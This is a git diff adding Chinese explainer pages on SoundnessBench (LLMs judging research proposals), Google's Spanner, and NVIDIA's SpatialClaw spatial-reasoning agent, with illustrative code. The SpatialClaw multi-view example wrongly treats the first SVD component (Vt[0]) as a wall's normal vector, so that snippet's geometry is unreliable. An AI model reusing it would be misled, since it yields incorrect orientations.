+metrics = confusion_and_metrics(simulated_preds, simulated_golds)
+print(f"Low R: {metrics['low_recall']:.1%}")
+print(f"High R: {metrics['high_recall']:.1%}")
+print(f"Low FP rate: {metrics['low_false_positive_rate']:.1%}")
+print(f"Macro F1: {metrics['macro_f1']:.3f}")
+```
+
+官方仓库还提供 `scripts/run_evaluation.py`，支持 `--evaluation-mode direct_bucket` 与 `direct_bucket_aggressive`，可直接对接 API 批量跑 12 模型设置。
+
+---
+
+## 原子 claim 验证（理解数据质量审计）
+
+论文 Algorithm 1 用检索 + 验证保证「提取的提案没跑偏」。逻辑可概括为：
+
+```python
+def verification_audit(pdf_chunks, atomic_claims, tau=0.7, k=3):
+    supported = 0
+    for claim in atomic_claims:
+        evidence = bm25_retrieve(claim, pdf_chunks, top_k=k)
+        verdict = llm_verify_evidence_only(claim, evidence)  # YES / NO
+        if verdict == "YES":
+            supported += 1
+    rho = supported / len(atomic_claims)
+    return rho, rho >= tau
+```
+
+只有通过审计（约 66.93% 候选通过）的条目才进入 benchmark，使每条提案可追溯到源 PDF 中的原子陈述。
+
+---
+
+## 与 AI Scientist 流水线怎么接
+
+理想的第一道门应插在：
+
+```
+想法生成 → 【Soundness 评审】→ 实现与实验 → 写论文 → 事后同行评议
+              ↑
+         SoundnessBench 测这里
+```
+
+论文建议：**不要**让 LLM 单独做 gatekeeper；更现实的路径是：
+
+1. **Human-in-the-loop**：模型初筛 + 人终审
+2. **针对性训练 / 校准**：减少 sycophancy 与 prompt 翻转
+3. **多模型合议**：不同提示或不同模型投票，警惕单一配置的乐观或保守
+4. **对抗与切片监控**：对注入硬伤与按子领域统计误报率
+
+对做 **AI Scientist / 科研 agent** 的开发者：SoundnessBench 是诊断工具——告诉你「审稿模块」是否在工作，而不是假设 frontier LLM 已经可靠。
+
+---
+
+## 低 soundness vs 高 soundness 提案长什么样（直觉）
+
+论文附录给出对照（简化）：
+
+**高 soundness（理论 GP 核可辨识性）**：假设清晰、合成数据上 MLE 收敛实验、多样本量、指标与理论目标一致，并坦诚讨论 MLE 一致性等局限。
+
+**低 soundness（用 |x| 作激活）**：假设含糊（「更 individualized」）、MNIST 上浅层网络对比 ReLU、缺少严格对照与消融、风险因素表述混乱——审稿 soundness 均值约 **1.0**。
+
+LLM 在 standard 提示下仍常把后者标成「实验完整、可以开跑」，这正是 **74% 误报**要警示的工程风险。
+
+---
+
+## 局限与如何正确引用结论
+
+1. **标签是审稿 soundness 的代理**，审稿人见过全文；benchmark 测的是提案可恢复信号。
+2. **领域**：ICLR 的 ML 子集，不能外推到生物、化学等。
+3. **公开语料**：无法完全排除训练集污染，但 ICLR 2026 子集与去标识符实验削弱了「纯记忆」解释。
+4. **人类审计**：60 条初步审计，不是完整 expert ceiling。
+
+引用时应说：SoundnessBench 评估 **proposal-stage methodological soundness**，而非论文接收或影响力。
+
+---
+
+## 资源链接
+
+| 资源 | 链接 |
+|------|------|
+| 论文 | https://arxiv.org/abs/2605.30329 |
+| 项目页 | https://hosytuyen.github.io/projects/SoundnessBench |
+| 代码 | https://github.com/hosytuyen/SoundnessBench |
+| 数据集 | https://huggingface.co/datasets/hosytuyen/SoundnessBench |
+
+---
+
+## 一句话总结
+
+SoundnessBench 用 1,099 条来自 ICLR 的、去掉结果的 ML 研究提案，系统测量 frontier LLM 能否在执行实验前识别方法论硬伤。结果：**默认太乐观，改 prompt 又太苛刻**——当前 AI 科学家若把 LLM 当唯一审稿人，会在垃圾想法上浪费大量算力，或在好想法上过度否决。可靠的第一道门仍需**人类监督、专门校准与更稳的评判机制**，而不能只靠更强的通用模型或更长的 prompt。
diff --git a/src/content/docs/papers/soundnessbench-arxiv-2605-30329.md b/src/content/docs/papers/soundnessbench-arxiv-2605-30329.md
new file mode 100644
index 000000000..25be890ae
--- /dev/null
+++ b/src/content/docs/papers/soundnessbench-arxiv-2605-30329.md
@@ -0,0 +1,172 @@
+---
+title: SoundnessBench: Can Your AI Scientist Really Tell Good Research Ideas from Bad Ones?
+来源: https://arxiv.org/abs/2605.30329
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# SoundnessBench：AI 科学家真的能区分好主意和坏主意吗？
+
+## 一、一个日常类比
+
+想象你在一家建筑公司当结构工程师。有人拿来一份建房方案，说"我想在这里建一栋十层楼"。你的工作是判断这个方案在结构上是否靠谱：地基够不够深？材料选得对不对？计算方式有没有漏洞？
+
+这个判断必须在一动工之前就做好。一旦你批准了，公司就要花几个月、投入大量金钱和人力去施工。如果方案本身有根本性缺陷，所有后续工作都是浪费。
+
+AI 科学家（能自动做研究的 AI 系统）也一样。现在这些系统能自己生成研究想法、写代码、跑实验、甚至写论文。但在跑任何实验之前，有没有一个"看门人"能判断这个研究想法在方法论上是否站得住脚？
+
+SoundnessBench 就是用来回答这个问题的。
+
+## 二、核心概念
+
+### 2.1 什么是"科学性"（Soundness）
+
+在这篇论文里，科学性被严格定义为一个范围：它不是指一个研究有没有影响力、新不新颖、会不会被录用，而是指——**一个研究假设和实验设计，在方法论上能不能有效地验证或反驳这个假设**。
+
+比如：如果你想证明"A 方法比 B 方法好"，但你选的比较指标跟你的研究问题不匹配，这就是科学性缺陷。
+
+### 2.2 研究前评估（Pre-execution Judgment）
+
+科学研究有四个阶段：
+
+1. 提出假设和实验设计（研究前）
+2. 写代码、跑实验
+3. 分析结果
+4. 写论文
+
+之前的 AI 研究基准几乎全部集中在第 2-4 步：你的代码写得好不好、实验跑得好不好、论文写得好不好。**没有人系统测试第 1 步：AI 能不能在实验之前就发现一个坏主意**。
+
+这就是 SoundnessBench 填补的空白。
+
+### 2.3 乐观偏差（Optimism Bias）
+
+论文发现了一个关键现象：当前最先进的 AI 模型在评估研究想法时，倾向于**过度批准**。即使一个研究方案有明显的方法论缺陷，模型也经常认为它是"科学的"（sound 的）。
+
+这就像结构工程师看到地基不足却签字批准施工。
+
+## 三、SoundnessBench 是怎么构建的
+
+SoundnessBench 从 ICLR（机器学习顶级会议）的公开论文中提取数据，整个流程分五步：
+
+**第一步：收集数据。** 从 2022-2026 年的 ICLR 论文中收集了 35,209 篇初始提交，覆盖 16 个 ML 子领域（强化学习、生成模型、NLP 等）。去掉被直接拒稿的论文（desk rejection），保留审稿人意见一致的论文。
+
+**第二步：分配标签。** 根据审稿人给出的"科学性"子分数来标签化：
+- 分数 >= 3 -> 高质量（high-soundness）
+- 分数 <= 2 -> 低质量（low-soundness）
+- 中间分数的论文不纳入（为了保证两类之间有明显区分）
+
+**第三步：提取研究方案。** 用 AI 从每篇论文中提取"研究方案"部分，**但明确排除实验结果和结论**。只保留：研究假设、实验设计计划、相关工作、风险因素。
+
+**第四步：原子声明审计。** 把提取出的方案拆成一个个"原子声明"（最小、可独立验证的事实），然后回到原始论文中逐条验证。这确保了提取的内容忠实于原文。
+
+**第五步：组装最终基准。** 最终得到 1,099 个研究方案：458 个低科学性 + 641 个高科学性。
+
+## 四、代码示例
+
+### 4.1 一个研究方案的 JSON 表示
+
+SoundnessBench 中每个研究方案都以这种 JSON 格式存储：
+
+```json
+{
+  "Name": "attention-enhanced-transformer",
+  "Title": "通过注意力增强提升 Transformer 效率的方法",
+  "Short Hypothesis": "我们提出一种新的注意力机制，可以减少计算量的同时保持模型性能",
+  "Related Work": "现有注意力方法在长序列上计算成本过高，我们试图解决这个问题",
+  "Experiments": [
+    {
+      "Description": "在语言建模任务上验证方法有效性",
+      "Method": "在 WikiText-103 数据集上测试，对比 baselines: Transformer, Linformer",
+      "Evaluation Metrics": ["perplexity", "训练时间"]
+    }
+  ],
+  "Risk Factors and Limitations": [
+    "当前方法仅在小规模数据集上验证，大规模效果未知"
+  ]
+}
+```
+
+注意：这里面**没有实验结果**。没有 "我们达到了 20.5 的 perplexity" 这种话。这就是"研究前"状态。
+
+### 4.2 评估 Prompt 示例
+
+当模型被要求评估一个研究方案的科学性时，典型的 Prompt 结构是这样的：
+
+```
+你是一个机器学习领域的审稿人。请评估以下研究方案在方法论上是否科学（sound）。
+
+研究方案：
+{proposal_json}
+
+评估标准：
+1. 研究假设是否清晰、可验证？
+2. 实验设计能否有效验证假设？
+3. 是否有明显的基线缺失？
+4. 是否存在数据泄露风险？
+5. 评估指标与研究问题是否匹配？
+
+请回答：
+- 科学性分数（1-5，1=非常不科学，5=非常科学）
+- 简要理由（2-3 句话）
+- 判断：sound（科学）或 unsound（不科学）
+```
+
+## 五、实验结果
+
+论文测试了 12 个最先进的大语言模型，结果如下：
+
+### 标准 Prompt 下的结果
+
+| 指标 | 数值 |
+|------|------|
+| 低科学性提案被错误批准（假阳性率） | 74.0% |
+| 高科学性提案被正确识别（召回率） | 91.8% |
+
+假阳性率 74% 意味着：每三个有明显缺陷的研究方案中，有两个被 AI 误认为"是科学的"。
+
+### 激进 Prompt 下的结果
+
+当模型被要求"默认认为不科学，除非方案明显很强"时：
+
+| 指标 | 数值 |
+|------|------|
+| 假阳性率 | 19.9%（大幅改善） |
+| 高科学性召回率 | 36.1%（大幅恶化） |
+
+激进策略把错误从"错误批准"变成了"错误拒绝"：高科学性召回率从 91.8% 暴跌到 36.1%。这意味着模型变得过度保守，连好的方案也大量误拒。
+
+### 结论
+
+**当前的 AI 模型还不能作为独立的"第一道关卡"来评估研究方案。** 它们的判断既不准确（大量假阳性），也不稳定（轻微改变 Prompt 就导致结果大幅变化）。
+
+## 六、为什么这个现象值得关注
+
+如果你让 AI 科学家自动运行一个研究流程，它会：
+
+1. 生成一个想法
+2. AI 自己评估这个想法（通过 SoundnessBench 测试的环节）
+3. 批准并投入大量计算资源去执行
+4. 发现实验结果是失败的
+
+如果 Step 2 的评估系统有大量假阳性，就等于在**自动化地执行大量有缺陷的实验**。这不会加速科学研究，反而会加速"坏科学"的量产。
+
+## 七、这篇论文的创新点
+
+1. **最大的 proposal-only 基准**：1,099 个经过验证的 ML 研究方案，是同类中最大的数据集之一
+2. **高精度数据流水线**：从审稿人同意过滤、原子声明审计到结果遮蔽，每一步都有严格质量控制
+3. **对抗性控制**：向高质量方案中注入方法论缺陷，模型能有效识别（批准率从 77% 降到 1%），说明模型确实关注内容，但自然存在的细微缺陷更难发现
+4. **乐观-脆弱性权衡**：系统量化了当前模型的判断偏差和 Prompt 敏感性
+
+## 八、我的理解
+
+读完这篇论文，我最大的感受是：AI 目前对科学研究的"直觉"还很不成熟。
+
+一个类比：现在的 LLM 就像一个看了很多建筑图纸但从未实际盖过房子的学生。它能识别出明显的错误（比如"地基深度=0"），但对于那种"地基深度看起来够了，但你没考虑地质条件"的 subtle 问题，它很难察觉。
+
+SoundnessBench 的价值在于，它第一次系统量化了这个问题。它不要求 AI 做出"完美判断"，而是问了一个更基本的问题：**在只看研究方案、没有结果的情况下，AI 能否发现明显的科学性问题？** 答案是目前还不行。
+
+---
+
+下一节：你想深入了解 SoundnessBench 的数据构建流程，还是想讨论这个结果对 AI 科学家的实际影响？
diff --git a/src/content/docs/papers/spanner-corbett-2012.md b/src/content/docs/papers/spanner-corbett-2012.md
new file mode 100644
index 000000000..6b4a28326
--- /dev/null
+++ b/src/content/docs/papers/spanner-corbett-2012.md
@@ -0,0 +1,244 @@
+---
+title: Spanner — Google 的全球分布式数据库
+来源: https://research.google/pubs/pub39966/
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Spanner 是 Google 在 2012 年公开的一个**全球范围分布的关系型数据库**。它的数据放在全世界几十个数据中心的几千台机器上，但对应用程序来说，它就像一台单机数据库——能跑标准 SQL、能跨多行跨多表做事务。
+
+日常类比：想象你、朋友 A、朋友 B 分别在北京、纽约、伦敦三个人一起记账。三个人各自有一本账，每笔记录都要三人同时同意才算数。更难的是，三人的钟表对不准，北京说 10:00:00 的时候纽约可能还是 9:59:59。Spanner 解决的问题就是：**不管三台机器的钟差多少毫秒，它们写出的账本在全局来看总是有一个一致的先后顺序**。
+
+## 核心概念
+
+### 1. 架构层次：Universe → Zone → Tablet → Paxos Group
+
+```
+Universe（整个 Spanner 部署，全球只跑少数几个）
+  └── Zone（一个数据中心或机房区域）
+        └── ZoneMaster（分配数据到哪些 Spanner 服务器）
+        └── SpannerServers（实际读写数据的机器）
+              └── Tablet × N（每台 Spanner 跑 100-1000 个 tablet）
+                    └── Paxos Group（一个 tablet 的副本集）
+                          └── Leader + Follower 副本
+```
+
+- **Tablet** 是一个 key-value 映射：`(key: string, timestamp: int64) → string`，内部用 B-tree 存储。
+- **Paxos Group** 是一组 tablet 副本，跨机房部署，用 Paxos 协议选出一个 leader 负责写。
+- 一个 tablet 被划分到若干个 Paxos Group 的副本里，数据通过目录（Directory）管理迁移。
+
+### 2. 复制与容错：Paxos 长任期 Leader
+
+每个 Paxos Group 的 leader 通过"租约"（lease）持有 10 秒的写入权。租约到期前自动续期，只有租约完全过期后其他副本才能竞选新 leader。这避免了"两个 leader 同时写"的冲突，也减少了频繁的 leader 切换开销。
+
+读操作可以在任何"足够更新"的副本上执行，不需要等 leader。写操作必须经过 Paxos leader 走日志复制。
+
+### 3. 事务模型：三种操作
+
+| 类型 | 说明 | 并发控制 |
+|------|------|----------|
+| **读写事务** | 先读后写，两阶段提交 | 悲观锁（wound-wait） |
+| **只读快照事务** | 只读不写，不需要锁 | 无锁，在选定 timestamp 读 |
+| **快照读** | 读过去某一时刻的数据 | 无锁 |
+
+读写事务走**两阶段提交（2PC）**：客户端先把写操作缓存在本地，收集完所有数据后向 coordinator 提交，coordinator 再通知所有参与方提交。如果事务只涉及单个 Paxos Group，可以跳过 2PC 直接提交。
+
+### 4. 核心创新：TrueTime
+
+这是 Spanner 最核心的贡献。它没有让应用程序问"现在几点"，而是问"现在的时间一定落在哪个区间"：
+
+```
+TrueTime 返回一个区间：[earliest, latest]
+- 宽度 2ε 就是时钟不确定性（epsilon）
+- 生产环境中 ε 通常约 4ms（即区间宽度约 8ms）
+- ε 由 GPS 接收器和原子钟保证
+```
+
+TrueTime 的 API 很简单：
+
+```
+TT.now()        → TTinterval { earliest, latest }  // 当前时间区间
+TT.after(t)     → bool                               // 时间 t 是否肯定已过
+TT.before(t)    → bool                               // 时间 t 是否肯定未到
+```
+
+### 5. 外部一致性（External Consistency / Linearizability）
+
+Spanner 保证：如果事务 T1 在真实时间中**提交完毕之后**，事务 T2 **才开始**，那么 T1 的时间戳一定小于 T2 的时间戳。
+
+这个保证靠两个规则实现：
+
+- **Start 规则**：coordinator 给事务选时间戳 s = TT.now().latest（在收到提交请求之后计算）。
+- **Commit Wait 规则**：coordinator 等 `TT.after(s)` 为真，才告诉客户端提交成功。
+
+这意味着写事务的提交延迟至少要多花 ε 的时间来"等时钟"。
+
+## 代码示例
+
+### 示例 1：用 Spanner 的数据模型定义表
+
+Spanner 的数据模型介于关系型和 KV 之间。每张表必须有主键，主键决定数据怎么分片：
+
+```sql
+-- 每行必须有一个全局唯一的用户 ID（主键前缀）
+-- 这个前缀同时决定了数据放在哪个 Paxos Group 里
+CREATE TABLE Users (
+    uid       INT64 NOT NULL,
+    email     STRING(256),
+    name      STRING(256)
+) PRIMARY KEY (uid), DIRECTORY;
+
+-- Albums 是 Users 的子表（INTERLEAVE）
+-- 同一个用户的 album 行在物理上靠近存储，减少跨 group 查询
+CREATE TABLE Albums (
+    uid       INT64 NOT NULL,
+    aid       INT64 NOT NULL,
+    name      STRING(256)
+) PRIMARY KEY (uid, aid),
+  INTERLEAVE IN PARENT Users ON DELETE CASCADE;
+```
+
+解释：
+
+- `PRIMARY KEY` 定义了行的名称和排序。uid 是目录表的第一列，**每个 uid 对应一个目录**。
+- `INTERLEAVE IN PARENT Users` 表示 Albums 是 Users 的子表。同一个 uid 的 albums 行在物理上放在一起，查询 `SELECT * FROM Albums WHERE uid = 42` 只需要访问一个 Paxos Group，**不需要跨 group 协调**。
+- `DIRECTORY` 关键字声明 Users 表是目录表，每行 uid 对应一个目录。
+
+### 示例 2：读写事务的时间戳分配
+
+这是 Spanner 的核心协议，用伪代码展示时间戳怎么选、怎么保证全局顺序：
+
+```python
+# 写事务提交时，coordinator leader 做的事：
+
+# Step 1: 向所有参与 Paxos Group 的请求写锁
+locks = acquire_write_locks(all_key_ranges)
+
+# Step 2: 每个参与 leader 选一个 prepare timestamp，保证单调递增
+prepare_timestamps = []
+for participant_group in participant_groups:
+    prepare_ts = participant_group.next_monotonic_timestamp()
+    # 把 prepare 记录写入 Paxos 日志
+    participant_group.paxos_log(("PREPARE", txn_id, prepare_ts))
+    prepare_timestamps.append(prepare_ts)
+
+# Step 3: coordinator 选最终时间戳
+# 必须 >= 所有 prepare timestamp
+# 必须 > TT.now().latest（外部一致性要求）
+# 必须 > 本 leader 之前分配的最大 timestamp（单调递增）
+now_interval = TT.now()  # e.g. [100, 108]
+commit_ts = max(
+    max(prepare_timestamps),
+    now_interval.latest,
+    leader.last_commit_ts + 1
+)
+
+# Step 4: 写入 Paxos 提交日志
+coordinator_group.paxos_log(("COMMIT", txn_id, commit_ts))
+
+# Step 5: Commit Wait —— 等真实时间超过 commit_ts
+# 这是外部一致性的关键：确保没人能在 commit_ts 之前"看到"这个提交
+while not TT.after(commit_ts):
+    pass  # 等待约 2*ε ≈ 8ms
+
+# Step 6: 通知客户端和所有参与者提交成功
+release_write_locks(locks)
+notify_clients(txn_id, commit_ts)
+```
+
+逐行解释：
+
+- `TT.now()` 返回 `[earliest, latest]`，比如 `[100, 108]`。`latest = 108` 表示"当前时间**至少**是 108"。
+- `TT.after(commit_ts)` 返回 true 意味着"真实时间已经**肯定**过了 commit_ts"。
+- Commit Wait 的等待时间约等于 `2 * ε`（约 8ms），这是因为 `latest` 可能比真实时间晚 ε，而 `after(t)` 要求 `earliest > t`。
+
+### 示例 3：只读快照事务（无锁）
+
+```python
+# 读事务的第一步：选一个足够早的 timestamp
+# 让所有参与 group 的 replica 都能"回退"到这个时间点读数据
+if single_paxos_group:
+    # 单 group 场景：挑最后一个已提交写的时间戳即可
+    s_read = last_committed_write_timestamp()
+else:
+    # 多 group 场景：不能做协调，直接用 TT.now().latest
+    s_read = TT.now().latest
+
+# 第二步：在每个足够更新的副本上读数据
+results = []
+for group in involved_groups:
+    # safe_time 是该副本已应用到多深的 timestamp
+    if s_read <= group.safe_time:
+        results.append(group.read_at(s_read))
+    # 如果 safe_time 落后，需要等待或选更早的 timestamp
+
+# 所有数据都在 s_read 这个全局一致的时间点上读到
+# 整个过程完全不持有锁
+```
+
+关键设计：
+
+- `safe_time` 是 Spanner 每个副本本地维护的：表示"这个副本已经应用到了 `safe_time` 之前的所有写操作"。
+- 读请求只要选的时间戳 `s_read <= safe_time`，就能直接在本地读取，**不需要协调**。
+- 多 group 的只读事务能拿到全局一致视图，因为每个 group 返回的都是同一个时间戳下的快照。
+
+### 示例 4：原子 Schema 变更（利用未来时间戳）
+
+```python
+# 给一张新表加列，全库几百万个 Paxos Group 都要知道这个变更
+# 如果用传统事务，需要锁住几百万个 group —— 不可能
+# Spanner 的做法：把变更安排在未来的某个时间戳生效
+
+# 步骤 1: 注册 schema 变更，定一个未来的生效时间戳 t_future
+t_future = TT.now().latest + 60 * 1_000_000  # 60 秒后
+
+# 步骤 2: 在 Paxos Group 的元数据中注册这个变更
+register_schema_change(table, "ADD COLUMN phone STRING(20)", t_future)
+
+# 步骤 3: 事务在 t_future 之前可以继续正常读写（用旧 schema）
+# 事务在 t_future 之后自动用新 schema
+# 不需要任何全局锁
+```
+
+解释：
+
+- 传统数据库做 schema 变更通常需要锁表或阻塞读写。
+- Spanner 利用 TrueTime 把变更"安排"在一个未来的时间戳生效。所有并发事务的时间戳要么在之前（继续用旧 schema），要么在之后（自动用新 schema）。
+- 这种"无阻塞 schema 变更"只有在全局时间戳模型下才可行。
+
+## 性能数据（来自论文原文）
+
+| 副本数 | 写延迟 | 写吞吐 |
+|--------|--------|--------|
+| 1 | 10ms | 4.2K ops/s |
+| 3 | 14ms | 1.8K ops/s |
+| 5 | 15ms | 1.2K ops/s |
+
+| 跨 group 参与方 | 2PC 延迟均值 | 99 分位延迟 |
+|----------------|-------------|-------------|
+| 1 | 14.6ms | 26.5ms |
+| 10 | 22.8ms | 45.9ms |
+| 50 | 33.8ms | 62.4ms |
+| 200 | 122.5ms | 206ms |
+
+## 总结
+
+Spanner 的核心贡献可以用一句话概括：**用硬件级别的时钟同步（GPS + 原子钟）解决了分布式系统中"时间"这个最难的问题，从而让全球范围的强一致事务成为可能。**
+
+三个关键设计决定：
+1. **TrueTime 暴露时钟不确定性**，而不是假装时钟是精确的
+2. **Commit Wait 机制**，用 ε 量级的延迟换全局时间戳的顺序保证
+3. **MVCC + Paxos + 2PC** 的组合，让读不阻塞写、写有强一致性
+
+## 延伸阅读
+
+- 论文 PDF: [Spanner OSDI 2012](https://storage.googleapis.com/gweb-research2023-media/pubtools/1974.pdf)
+- F1 论文: [F1 — The fault-tolerant distributed RDBMS supporting Google's ad business](https://research.google/pubs/pub40034/)（SIGMOD 2013）
+- [[bigtable]] —— Spanner 的前身，KV 存储，无事务
+- [[percolator-2010]] —— Bigtable 上的分布式事务框架，Spanner 事务模型的直接前身
+- [[paxos-1998]] —— Paxos 共识协议，Spanner 单 group 复制的基础
+- [[foundationdb-2021]] —— 不依赖物理时钟的替代方案
diff --git a/src/content/docs/papers/spanner.md b/src/content/docs/papers/spanner.md
index fbb166644..7be12fefd 100644
--- a/src/content/docs/papers/spanner.md
+++ b/src/content/docs/papers/spanner.md
@@ -157,6 +157,7 @@ GROUP BY customer_id;
 - [[cockroachdb]] —— CockroachDB — 分布式 SQL 数据库
 - [[codd-1970]] —— Codd 1970 — 关系模型奠基
 - [[eswaran-1976]] —— Eswaran 1976 — 串行化与谓词锁的源头
+- [[farm-2015]] —— FaRM — 用 RDMA 把集群内存变成一块「共享白板」
 - [[fidge-1988]] —— Fidge 1988 — 给每个进程一份"账本向量"，让因果关系变成可判定
 - [[gray-1978-notes]] —— Gray 1978 — 数据库操作系统讲义，事务/2PL/2PC/恢复一次讲完
 - [[gray-1981-transaction]] —— Gray 1981 — 把"事务"提升为通用抽象
diff --git a/src/content/docs/papers/spatialclaw.md b/src/content/docs/papers/spatialclaw.md
new file mode 100644
index 000000000..1757a4a14
--- /dev/null
+++ b/src/content/docs/papers/spatialclaw.md
@@ -0,0 +1,249 @@
+---
+title: SpatialClaw — 让 AI 用 Python 代码做空间推理
+来源: 'https://arxiv.org/abs/2606.13673'
+日期: 2026-06-13
+分类: 机器学习
+子分类: 空间推理
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+SpatialClaw 是 NVIDIA Research 提出的一套**无需训练的空间推理 Agent 框架**。核心一句话：
+
+> 让 VLM（视觉语言模型）写 Python 代码来做空间推理，而不是调一堆固定工具。
+
+日常类比：想象你在教一个人解决空间题。
+
+- **旧方法**：给他一把螺丝刀、一把锤子、一把扳手——但每次只能用它做一件规定的事，不能把它们组合起来。
+- **SpatialClaw**：给他一台电脑和 Python 环境，告诉他"遇到不会的直接写代码"。他能自由调用工具箱里的函数，检查结果，发现不对就改，一步一步逼近答案。
+
+## 为什么重要
+
+不理解 SpatialClaw，下面这些事都没法解释：
+
+- 为什么 3D 空间推理一直是 VLM 的弱项——不是模型不够大，是交互方式不对
+- 为什么之前加一堆感知工具（SAM 3、深度估计等）后提升有限——瓶颈在"怎么调用工具"
+- 为什么代码执行比结构化工具调用更灵活——代码是可组合、可检查、可迭代的
+- 为什么 NVIDIA 选"用代码做动作接口"而不是继续堆工具——这是架构层面的 rethink
+
+把工具调用当"固定接口"调，永远是"拼乐高"。把工具调用当"编程环境"调，才有涌现。
+
+## 核心概念
+
+### 1. 三种动作接面对比
+
+SpatialClaw 的核心贡献不是"用了代码"，而是系统性地比较了三种接口，发现**代码 + 持久化 Python 内核**是最优解。
+
+**(a) 单次代码执行（Single-pass code）**
+
+Agent 一次写出一整段 Python 代码，执行完就结束。
+
+```python
+# 问题：一旦写错，从头来不了
+import numpy as np
+from perception_tools import segment, estimate_depth
+
+mask = segment(image)
+depth = estimate_depth(image)
+result = compute_distance(mask, depth)
+print(result)
+```
+
+只能写一次，无法看到中间结果再修正。
+
+**(b) 结构化工具调用（Structured tool-call）**
+
+Agent 通过固定 JSON 格式调用工具，每次只能调一个。
+
+```json
+// 问题：工具之间不能自由组合，输出不能直接当变量用
+[
+  {"tool": "segment", "input": {"image_id": 1}},
+  {"tool": "depth", "input": {"image_id": 1}},
+  {"tool": "distance", "input": {"result_a": 0, "result_b": 1}}
+]
+```
+
+每次调完等返回，不能像写代码那样 `a = f(b)` 自由组合。
+
+**(c) SpatialClaw：代码作为动作接口**
+
+Agent 每次写一个代码单元格，在**持久化的 Python 内核**中执行，能看到所有中间变量。
+
+### 2. Persistent Kernel（持久化内核）
+
+这是 SpatialClaw 最核心的设计。内核在任务开始时就创建好，预加载了：
+
+- 输入帧（图片/视频帧）
+- 感知工具（SAM 3 分割、Depth Anything 3 深度估计）
+- 科学计算库（NumPy、SciPy）
+- 可视化库（Matplotlib）
+
+Agent 每一步写一段代码，内核记住所有变量，下一步可以直接引用上一步的结果。
+
+### 3. 五步推理循环
+
+每个推理任务经历五个阶段：
+
+1. **Planning（规划）**：VLM 理解问题，制定计划
+2. **Code generation（生成代码）**：写出当前步的代码
+3. **Code execution（执行代码）**：内核执行代码，返回结果
+4. **Feedback assembly（组装反馈）**：把代码输出 + 视觉结果汇总
+5. **Answer submission（提交答案）**：根据所有信息给出最终答案
+
+如果前几步结果不对，Agent 会回到第 2 步改写代码，而不是重新开始。
+
+## 代码示例
+
+### 示例 1：三步空间推理
+
+这是 SpatialClaw 解决一个典型问题的完整过程。Agent 分三次写代码，每次都能看到上一步的结果。
+
+```python
+# === Step 1: 规划阶段 ===
+# Agent 先思考：要判断"站在椅子前面对电视时，冰箱在哪个方向"
+# 需要：1) 分割出所有物体 2) 重建3D位置 3) 计算相对方向
+
+# === Step 2: 第一次写代码 — 分割 + 3D 重建 ===
+import numpy as np
+from perception_tools import sam3_segment, depth_anything3
+import matplotlib.pyplot as plt
+
+# 分割所有物体
+masks = sam3_segment(image)
+# 估计深度
+depth_map = depth_anything3(image)
+
+# 提取关键物体的3D坐标
+objects = {
+    "chair": masks["chair"],
+    "tv": masks["tv"],
+    "fridge": masks["fridge"]
+}
+
+# 把2D掩码 + 深度图转成3D坐标
+positions = {}
+for name, mask in objects.items():
+    points = depth_to_3d(mask, depth_map)
+    positions[name] = np.mean(points, axis=0)
+
+print("椅子位置:", positions["chair"])
+# 输出: [ 2.1,  0.3, -1.5]
+print("电视位置:", positions["tv"])
+# 输出: [-3.2,  0.5,  2.8]
+print("冰箱位置:", positions["fridge"])
+# 输出: [ 4.1,  0.2, -2.0]
+
+# 可视化中间结果
+plot_3d_positions(positions)  # 在 Jupyter 里显示3D散点图
+
+# === Step 3: 第二次写代码 — 计算相对方向 ===
+# 内核记住了 positions 变量，可以直接用
+
+# 定义"站在椅子前面对电视"的视角
+chair_pos = positions["chair"]
+tv_pos = positions["tv"]
+
+# 看向方向（从椅子指向电视）
+look_direction = tv_pos - chair_pos
+look_direction = look_direction / np.linalg.norm(look_direction)
+
+# 冰箱相对于椅子的方向
+fridge_offset = positions["fridge"] - chair_pos
+
+# 用叉积计算左右关系
+# cross_product 的正负决定在看向方向的左侧还是右侧
+cross = np.cross(look_direction, fridge_offset)
+side = "left" if cross[1] > 0 else "right"
+
+# 用点积计算前后关系
+front_back = "front" if np.dot(look_direction, fridge_offset) > 0 else "back"
+
+print(f"冰箱在{side}-{front_back}方向")
+# 输出: 冰箱在left-front方向
+```
+
+注意看：Step 3 直接用了 Step 2 算出的 `positions` 变量——这就是**持久化内核**的威力。代码像写笔记本一样，一步一步积累中间结果。
+
+### 示例 2：多视角空间推理（SVD 分解）
+
+更复杂的场景：多张照片拼出完整空间。Agent 需要跨视角对齐、用线性代数推理。
+
+```python
+# === 问题: "壁炉朝北；健身区墙上那幅画朝哪个方向?" ===
+# 需要: 多视角3D重建 + SVD分解墙平面
+
+from scipy.spatial import transform
+from scipy.linalg import svd
+
+# 合并多视角的3D点云
+all_points = {}
+for view in views:  # views = [照片A, 照片B, 照片C, ...]
+    masks = sam3_segment(view)
+    depth = depth_anything3(view)
+    points_3d = depth_to_3d_all_masks(masks, depth, view.camera_params)
+    all_points.update(points_3d)
+
+# 用 SVD 找出壁炉所在墙面的主平面
+firewall_points = all_points["fireplace_wall"]
+center = np.mean(firewall_points, axis=0)
+centered = firewall_points - center
+U, S, Vt = svd(centered)
+normal_vector = Vt[0]  # 主成分的法向量 = 墙面法线
+
+# 壁炉朝北 → 法向量就是北方向
+north = normal_vector / np.linalg.norm(normal_vector)
+
+# 同理找健身区墙面的法向量
+gymwall_points = all_points["gym_wall"]
+centered_gym = gymwall_points - np.mean(gymwall_points, axis=0)
+U_gym, S_gym, Vt_gym = svd(centered_gym)
+gym_normal = Vt_gym[0]
+
+# 画朝向 = 墙面法线的反方向（墙面"面朝"的法线反侧）
+painting_facing = -gym_normal
+
+# 把朝向投影到水平面（只看东西南北）
+painting_facing[1] = 0  # 忽略垂直方向
+painting_facing = painting_facing / np.linalg.norm(painting_facing)
+
+# 用角度判断方向
+angle = np.arctan2(painting_facing[2], painting_facing[0])
+directions = ["南", "西南", "西", "西北", "北", "东北", "东", "东南"]
+heading_idx = int(((angle + np.pi) / (2 * np.pi)) * 8) % 8
+print(f"画作朝向: {directions[heading_idx]}")
+# 输出: 画作朝向: 东
+```
+
+这段代码展示了 SpatialClaw 的几个关键优势：
+
+- 跨步引用：前面算好的 `all_points` 变量直接复用
+- 自由组合：SAM 3 分割结果 + SciPy 的 SVD + NumPy 的线性代数，无缝衔接
